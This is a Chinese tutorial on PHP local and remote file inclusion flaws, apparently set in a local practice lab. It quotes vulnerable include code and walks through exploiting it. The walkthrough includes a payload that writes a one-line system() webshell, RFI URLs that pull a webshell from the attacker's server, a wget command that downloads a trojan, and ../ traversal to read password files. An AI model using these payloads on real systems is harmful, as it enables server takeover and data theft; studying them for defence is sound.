文件包含漏洞觸發前提:
allow_url_fopen = On && allow_url_include = Off 此時才可以觸發本地文件包含漏洞
allow_url_fopen = On && allow_url_include = On 此時才可以觸發遠程文件包含漏洞
其中,allow_url_fopen一直都是默認開啟的,而allow_url_include從PHP5.2之后就是默認關閉的了
涉及到的危險函數:
include(),include_once()
require(),require_once()
include()&&require() 的區別:
include() 產生一個警告而 require() 則導致一個致命錯誤。也就是include()包含不到文件時還是會繼續運行腳本,而require()包含文本時卻又沒有這個文本就會終止運行腳本。
include_once()&&require_once() 的區別:
他倆就是保證在代碼被包括后就不會再包括,保證了在文件包含時只能包含一次。
當前期的系統配置支持的情況下,不合理的使用文件包含,就可能造成文件包含漏洞。
一.本地文件包含
比如當我們的127.0.0.1/include/fi_local.php文件中有下面源碼,並且include目錄下含有phpinfo.php的時候
代碼截取:
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";
//通過Get方式提交兩個參數submit和filename,當filename不為空時,就可以實現本地文件的包含
原本是想讓我們直接提交127.0.0.1/include/fi_local.php?filename=phpinfo.php&submit=提交查詢,此時就可以直接包含phpinfo.php 文件,而當你不以正常想法去包含這個phpinfo.php文件的時候,而是去包含一個不存在的test.php文件時就會出現下面報錯
Warning: include(include/test.php): failed to open stream: No such file or directory in ……/include/fi_local.php on line 23
Warning: include(): Failed opening 'include/test.php' for inclusion (include_path='.;C:\php\pear') in ……/include/fi_local.php on line 23
當然,我們還可以創建一個寫入了<?php phpinfo(); ?> 的hello.txt文件或者hello.jpg文件,只要是寫入了php語言的任意文件,都可以被文件包含當做php文件讀取出來。
此時我們提交127.0.0.1/include/fi_local.php?filename=hello.txt&submit=提交查詢
就可以查詢php環境信息,模塊和web環境。
二.遠程文件包含
代碼截取:
比如當我們的127.0.0.1/include/fi_remote.php文件中有下面源碼,並且include目錄下含有phpinfo.php的時候
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";
//通過Get方式提交兩個參數submit和filename,當filename不為空時,就可以實現遠程文件的包含
此時,我們在127.0.0.1/file/路徑下創建一個文件yijuhua.txt
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[hacker]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
此時我們訪問127.0.0.1/include/fi_remote.php
通過Get方式提交:?filename=http://127.0.0.1/file/yijuhua.txt&submit=提交查詢 時,就會生成一個一句話木馬文件 yijuhua.php
<?php system($_GET[hacker]);?>
然后我們就可以通過蟻劍連接一句話木馬
當然,既然可以這樣實現木馬文件的創建,我們就可以在自己的服務器上放置一個寫好了的webshell
http://192.168.1.xxx/web/webshell.php
然后通過遠程文件包含漏洞去下載這個webshell
http:xxx.xx.x.xxx/……/fi_remote.php?filename=http://192.168.1.xxx/web/webshell.php&submit=提交查詢
文件包含漏洞的危害
通過文件包含漏洞,可以讀取系統中的敏感文件,源代碼文件等,如密碼文件,通過對密碼文件進行暴力破解,若破解成功則可獲取操作系統的用戶賬戶,甚至可通過開放的遠程連接服務進行連接控制;另外文件包含漏洞還可能導致執行任意代碼,不管本地文件包含還是遠程文件包含!
文件包含漏洞的利用
一、讀取目標主機上的其他文件,主要是本地文件包含。
由於一些參數沒有經過過濾,我們就可以通過多次探測可能包含的文件,從而讀取出目標主機中的一些敏感文件,在沒有過濾 ../ 的時候,我們可以通過 ../ 來進行目錄跳轉,從而讀取出其他目錄下的文件,當然在../被過濾掉的情況下我們也可以直接通過絕對路徑進行文件讀取。
二、包含可運行的網頁木馬,主要是遠程文件包含。
通過跳轉到自己服務器中的webshell,也可以下載通過訪問下載木馬文件在目標主機中,也可以創建一個寫入一些 weget 命令啥的cmd.txt文件在自己主機上,通過構造url去遠程執行命令
weget命令可以下載指定URL的文件
pwd可以查看當前絕對路徑
三、包含一個創建文件的相應代碼文件,因為通過文件包含漏洞獲取的shell不是長久的,如果這個漏洞修補了,那么shell也就不存在了,因此需要創建一個真實的shell。我們可以先包含一個可以執行cmd的偽shell,然后使用wget加-O參數(類似:
http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget http://x.x.x.x/muma.txt -O muma.php)獲取一個真正的webshell。如果系統中沒有wget命令,獲取目錄不可寫,那么我們可以包含一個創建文件的腳本,然后通過腳本上傳木馬文件。